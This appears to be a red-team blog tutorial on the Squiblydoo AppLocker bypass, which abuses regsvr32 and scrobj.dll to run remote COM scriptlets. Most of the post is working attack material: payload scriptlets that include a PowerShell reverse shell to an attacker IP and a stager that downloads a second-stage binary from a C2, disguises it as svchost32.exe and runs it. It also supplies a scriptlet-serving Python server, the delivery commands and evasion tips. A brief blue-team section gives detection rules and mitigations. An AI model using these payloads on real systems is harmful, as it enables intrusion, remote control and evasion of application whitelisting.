AppLocker Bypass — Regsvr32 (Squiblydoo)
Scope: Red team / authorized penetration testing. Technique maps to MITRE ATT&CK T1218.010 .
Lab Setup
Recommended VM Stack
Host Machine
└── Hypervisor (VMware Workstation / VirtualBox / Hyper-V)
├── Windows 10/11 Enterprise (victim VM)
│ ├── AppLocker default rules enforced (GPO)
│ ├── Windows Defender enabled + updated
│ ├── PowerShell 5.1
│ ├── Sysmon (SwiftOnSecurity config)
│ ├── Sysinternals Suite (Process Monitor, TCPView)
│ └── Wireshark (capture SCT fetch traffic)
│
└── Kali Linux (attacker VM)
├── Python 3.10+ (HTTP server for SCT delivery)
└── netcat / rlwrap (shell listener)Windows VM — Enable AppLocker
1# Enable AppLocker in audit + enforce mode
2# Run as Administrator
3
4# ensure Application Identity service is running (AppLocker dependency)
5Set-Service -Name AppIDSvc -StartupType Automatic
6Start-Service AppIDSvc
7
8# create default rules via GPO cmdlets
9$gpo = New-GPO -Name "AppLocker-Lab" -Comment "Lab AppLocker policy"
10
11# apply default executable rules (allow %WINDIR%, %PROGRAMFILES%)
12# In production: use GPMC GUI → Computer Config → Windows Settings →
13# Security Settings → Application Control Policies → AppLocker
14
15# quick local policy via registry (for standalone lab box)
16$regBase = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2"
17@("Exe","Script","Msi","Dll","Appx") | ForEach-Object {
18 $path = "$regBase\$_"
19 New-Item $path -Force | Out-Null
20 Set-ItemProperty $path "EnforcementMode" 1 # 1=Enforce, 0=AuditOnly
21}
22Write-Host "[+] AppLocker enforcement mode set" 1# Verify AppLocker is active — this should BLOCK execution of an untrusted binary
2# Create a test exe in a non-whitelisted path and confirm it's blocked
3$testPath = "$env:TEMP\test_applocker.exe"
4Copy-Item "C:\Windows\System32\notepad.exe" $testPath
5try {
6 Start-Process $testPath -Wait -ErrorAction Stop
7 Write-Warning "AppLocker NOT enforcing — check policy"
8} catch {
9 Write-Host "[+] AppLocker blocking — enforcement confirmed"
10}
11Remove-Item $testPath -ForceInstall Sysmon
.\Sysmon64.exe -accepteula -i sysmon-config.xml
# verify EID 1 (process create) is firing for regsvr32
Get-WinEvent -FilterHashtable @{
LogName="Microsoft-Windows-Sysmon/Operational"; Id=1
} -MaxEvents 5 | Select-Object TimeCreated, MessageAttacker VM — Python SCT Server
# start SCT payload server on port 80
mkdir payloads
python3 serve.py & # from this blog's serve.py
# listener for reverse shell
rlwrap nc -lvnp 4444Snapshot
VM → Snapshot → "REGSVR32_BASELINE"Execution Chain Diagram
ATTACKER VICTIM (AppLocker enforced)
──────── ────────────────────────────
User / existing foothold
│
│ runs:
▼
regsvr32.exe /s /n /u /i:<URL> scrobj.dll
│
┌──────────┴──────────────┐
│ AppLocker evaluates │
│ regsvr32.exe │
│ ✓ Signed Microsoft │
│ ✓ Trusted publisher │
│ → ALLOW │
└──────────┬──────────────┘
│
│ WinHTTP GET
▼
serve.py ◄────────────────── fetch payload.sct
│
│ HTTP 200 text/scriptlet
▼
payload.sct ─────────────────► scrobj.dll parses SCT
│
┌──────────┴──────────────┐
│ AppLocker evaluates │
│ scrobj.dll │
│ ✓ Signed Microsoft │
│ → ALLOW │
└──────────┬──────────────┘
│
│ JScript / VBScript
▼
<![CDATA[ ... ]]>
your code executes
│
nc -lvnp 4444 ◄───────────── reverse shell connectsAppLocker Rule Coverage Gap
AppLocker Default Rules
┌─────────────────────────────────────────────────────┐
│ ✓ COVERED ✗ NOT COVERED │
│ ───────────── ────────────────────── │
│ .exe .com .sct ← this blog │
│ .ps1 .vbs .js .hta │
│ .cmd .bat .wsf .wsc │
│ .msi .msp .mst .xsl .inf │
│ .dll .ocx (off by default) .cpl .url │
│ .appx .gadget │
│ ...and many more │
└─────────────────────────────────────────────────────┘
regsvr32.exe (trusted binary) loads .sct via scrobj.dll (trusted binary)
AppLocker only evaluated the binaries — never the SCT content.What Is AppLocker?
AppLocker is Microsoft’s application whitelisting solution, available on Windows 7+ Enterprise and Ultimate SKUs. Admins define rules, by publisher, path, or file hash, that control which executables, scripts, installers, and DLLs are allowed to run.
On paper it’s a solid defense. In practice, it ships with a fundamental blind spot: signed Microsoft binaries are trusted by default. That trust is exactly what this technique exploits.
Meet Regsvr32
regsvr32.exe lives at C:\Windows\System32\regsvr32.exe. Its intended job is simple: register and unregister COM DLLs:
regsvr32 /s shell32.dllIt’s signed by Microsoft, it’s always present, and AppLocker’s default ruleset lets it run without question. What most people don’t know is that it can also load COM scriptlets, remote or local XML files containing executable JScript or VBScript, through a completely legitimate code path that was never meant to be a security boundary.
That’s the entire bypass. One trusted binary. One XML file. Game over.
The technique was named Squiblydoo by researcher Casey Smith (@subTee ) and has been in the red team playbook since 2016. It still works on unpatched or misconfigured systems today.
How It Works
The magic flag is /i: combined with /n (no DllInstall) and /u (unregister). When you pass a URL or file path to /i:, regsvr32 fetches and parses a COM scriptlet and executes its registration logic, which is just script code you control.
regsvr32 /s /n /u /i:<url_or_path> scrobj.dllBreaking down the flags:
| flag | meaning |
|---|---|
/s | silent — suppress dialog boxes |
/n | do not call DllRegisterServer |
/u | unregister mode (still loads the scriptlet) |
/i:<target> | pass <target> to DllInstall — accepts URLs |
scrobj.dll is the Windows Script Component runtime. It handles the actual parsing and execution of the scriptlet. It too is a signed Microsoft binary.
The execution chain looks like this:
AppLocker policy
│
▼
regsvr32.exe ← signed, trusted, allowed
│
│ fetches via WinHTTP (if URL) or reads local file
▼
payload.sct ← COM scriptlet, XML with embedded script
│
▼
scrobj.dll ← signed, trusted, parses and executes script
│
▼
JScript / VBScript runs with user privilegesAppLocker never gets a chance to evaluate the scriptlet itself. It only sees trusted binaries on both ends.
The Scriptlet Format
COM scriptlets are XML files with a .sct extension. The structure is straightforward:
1<?XML version="1.0"?>
2<scriptlet>
3 <registration
4 progid="AnyStringHere"
5 classid="{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}">
6 <script language="JScript">
7 <![CDATA[
8 // your code runs here
9 ]]>
10 </script>
11 </registration>
12</scriptlet>progid— arbitrary string, doesn’t matterclassid— any valid GUID format, doesn’t need to be registeredlanguage—JScriptorVBScript- The
<![CDATA[...]]>block is your payload
Custom Payloads
1. Proof of Concept — calculator pop
The classic “I’m in” confirmation. Pops calc.exe, no network activity, no persistence, clean PoC for client demos.
1<?XML version="1.0"?>
2<scriptlet>
3 <registration
4 progid="ShellExec"
5 classid="{F0001111-0000-0000-0000-0000FEEDACDC}">
6 <script language="JScript">
7 <![CDATA[
8 var shell = new ActiveXObject("WScript.Shell");
9 shell.Run("calc.exe", 0, false);
10 ]]>
11 </script>
12 </registration>
13</scriptlet>2. Command execution — arbitrary cmd
Run any command silently. Swap out the command string for whatever your engagement calls for.
1<?XML version="1.0"?>
2<scriptlet>
3 <registration
4 progid="CmdExec"
5 classid="{F0001111-0000-0000-0000-0000FEEDACDD}">
6 <script language="JScript">
7 <![CDATA[
8 var shell = new ActiveXObject("WScript.Shell");
9 var cmd = "cmd.exe /c whoami > C:\\Windows\\Temp\\out.txt";
10 shell.Run(cmd, 0, true);
11 ]]>
12 </script>
13 </registration>
14</scriptlet>3. Reverse shell — PowerShell one-liner delivery
This is the one you’ll actually use on engagements. The scriptlet invokes PowerShell with a base64-encoded reverse shell, window hidden, execution policy bypassed. Swap in your IP and port.
1<?XML version="1.0"?>
2<scriptlet>
3 <registration
4 progid="RevShell"
5 classid="{F0001111-0000-0000-0000-0000FEEDACDE}">
6 <script language="JScript">
7 <![CDATA[
8 var shell = new ActiveXObject("WScript.Shell");
9
10 // PowerShell reverse shell — update LHOST and LPORT
11 var LHOST = "10.10.10.10";
12 var LPORT = "4444";
13
14 var ps = "$c=New-Object Net.Sockets.TCPClient('" + LHOST + "'," + LPORT + ");" +
15 "$s=$c.GetStream();" +
16 "[byte[]]$b=0..65535|%{0};" +
17 "while(($i=$s.Read($b,0,$b.Length))-ne 0){" +
18 "$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);" +
19 "$r=(iex $d 2>&1|Out-String);" +
20 "$rb=[Text.Encoding]::ASCII.GetBytes($r+' PS '+((gl).Path)+'> ');" +
21 "$s.Write($rb,0,$rb.Length);" +
22 "$s.Flush()};" +
23 "$c.Close()";
24
25 // base64 encode for -EncodedCommand
26 var encoded = "";
27 for (var i = 0; i < ps.length; i++) {
28 encoded += String.fromCharCode(ps.charCodeAt(i), 0);
29 }
30 var b64 = btoa(encoded);
31
32 var cmd = "powershell.exe -nop -w hidden -ep bypass -EncodedCommand " + b64;
33 shell.Run(cmd, 0, false);
34 ]]>
35 </script>
36 </registration>
37</scriptlet>
btoa()is available in JScript on Windows 8+. On older targets replace it with a manual base64 encoder or drop the encoding entirely and just pass the raw command and adjust OpSec vs compatibility as needed.
4. Shellcode loader via scriptlet
If you’re dropping raw shellcode (e.g. a Cobalt Strike or Sliver stager), the scriptlet can call into a VBScript helper that writes a temporary HTA or drops a loader. Alternatively, chain into your modern_runner binary via a staged download:
1<?XML version="1.0"?>
2<scriptlet>
3 <registration
4 progid="StagerDrop"
5 classid="{F0001111-0000-0000-0000-0000FEEDACDF}">
6 <script language="JScript">
7 <![CDATA[
8 var xhr = new ActiveXObject("MSXML2.XMLHTTP");
9 var shell = new ActiveXObject("WScript.Shell");
10 var fso = new ActiveXObject("Scripting.FileSystemObject");
11
12 // pull second stage binary from C2
13 var url = "http://10.10.10.10:8080/stage2.exe";
14 var drop = shell.ExpandEnvironmentStrings("%TEMP%") + "\\svchost32.exe";
15
16 xhr.open("GET", url, false);
17 xhr.send();
18
19 if (xhr.status === 200) {
20 var stream = new ActiveXObject("ADODB.Stream");
21 stream.Type = 1; // binary
22 stream.Open();
23 stream.Write(xhr.responseBody);
24 stream.SaveToFile(drop, 2);
25 stream.Close();
26 shell.Run(drop, 0, false);
27 }
28 ]]>
29 </script>
30 </registration>
31</scriptlet>Hosting the Scriptlet
For remote delivery you need an HTTP server that serves the .sct file. Anything works. Here’s a minimal Python server that sets the right content type so scrobj.dll doesn’t reject it:
1#!/usr/bin/env python3
2# serve.py — minimal SCT host for Squiblydoo delivery
3
4from http.server import HTTPServer, BaseHTTPRequestHandler
5import os
6
7PAYLOAD_DIR = "./payloads" # put your .sct files here
8PORT = 80
9
10class SCTHandler(BaseHTTPRequestHandler):
11 def do_GET(self):
12 path = os.path.join(PAYLOAD_DIR, self.path.lstrip("/"))
13 if not os.path.isfile(path):
14 self.send_response(404)
15 self.end_headers()
16 return
17
18 with open(path, "rb") as f:
19 data = f.read()
20
21 self.send_response(200)
22 self.send_header("Content-Type", "text/scriptlet")
23 self.send_header("Content-Length", str(len(data)))
24 self.end_headers()
25 self.wfile.write(data)
26
27 def log_message(self, fmt, *args):
28 print(f"[{self.client_address[0]}] {fmt % args}")
29
30if __name__ == "__main__":
31 os.makedirs(PAYLOAD_DIR, exist_ok=True)
32 print(f"[*] serving {PAYLOAD_DIR}/ on :{PORT}")
33 HTTPServer(("0.0.0.0", PORT), SCTHandler).serve_forever()# layout
payloads/
calc.sct
revshell.sct
stage.sct
python3 serve.pyExecution
Remote (most common — no file drops)
regsvr32 /s /n /u /i:http://10.10.10.10/revshell.sct scrobj.dllNo file touches disk except the regsvr32 process itself. The scriptlet is fetched entirely in memory via WinHTTP.
Local file
regsvr32 /s /n /u /i:C:\Users\Public\payload.sct scrobj.dllUNC path (internal network share)
regsvr32 /s /n /u /i:\\fileserver\share\payload.sct scrobj.dllHTTPS
Works natively. Regsvr32 uses WinHTTP which respects the system proxy and trusts the system certificate store, useful when the target environment blocks plain HTTP egress.
regsvr32 /s /n /u /i:https://your.c2.domain/payload.sct scrobj.dllOpSec Notes
- The process tree is
regsvr32.exe → (scrobj.dll parses scriptlet). If your scriptlet spawnspowershell.exeorcmd.exe, those appear as children of regsvr32, a moderately loud signal. Consider spawning viaWScript.Shell.Runwith window hidden (0) and not waiting for completion (false). - HTTPS delivery hides the payload URL from network inspection but the TLS SNI is still visible without a domain-fronting setup.
- Defender / EDR products with script content inspection will still see the JScript source. If you need extra cover, encode the actual logic or proxy it through a legitimate-looking scriptlet that loads a second stage.
regsvr32.exespawning network connections is itself a detection opportunity: see below.
Detection (Blue Team)
If you’re defending against this:
| signal | where to look |
|---|---|
regsvr32.exe making outbound HTTP/S | network telemetry, Windows Firewall logs |
regsvr32.exe spawning cmd.exe, powershell.exe, wscript.exe | Sysmon Event ID 1 (process create), parent image |
/i: flag containing a URL in command line | Sysmon Event ID 1, process command line |
scrobj.dll loaded by non-standard process | Sysmon Event ID 7 (image load) |
| AppLocker audit logs showing regsvr32 executing scriptlets | AppLocker event log, Event ID 8004 |
Sysmon rule (rules.xml snippet):
<ProcessCreate onmatch="include">
<ParentImage condition="is">C:\Windows\System32\regsvr32.exe</ParentImage>
</ProcessCreate>
<ProcessCreate onmatch="include">
<CommandLine condition="contains">/i:http</CommandLine>
<Image condition="is">C:\Windows\System32\regsvr32.exe</Image>
</ProcessCreate>Mitigation: Software Restriction Policies or AppLocker rules that explicitly block regsvr32.exe from making outbound network connections, combined with blocking child process spawning from regsvr32. Windows Defender Application Control (WDAC) is more robust than AppLocker for this. It operates at the kernel level and is harder to bypass.
MITRE ATT&CK
| field | value |
|---|---|
| Tactic | Defense Evasion |
| Technique | T1218 — System Binary Proxy Execution |
| Sub-technique | T1218.010 — Regsvr32 |
| Platforms | Windows |
| Permissions Required | User |
| Supports Remote | Yes |
References
- MITRE ATT&CK T1218.010
- Casey Smith — original Squiblydoo research (2016)
- Red Canary — Regsvr32 abuse detection
- LOLBAS Project — regsvr32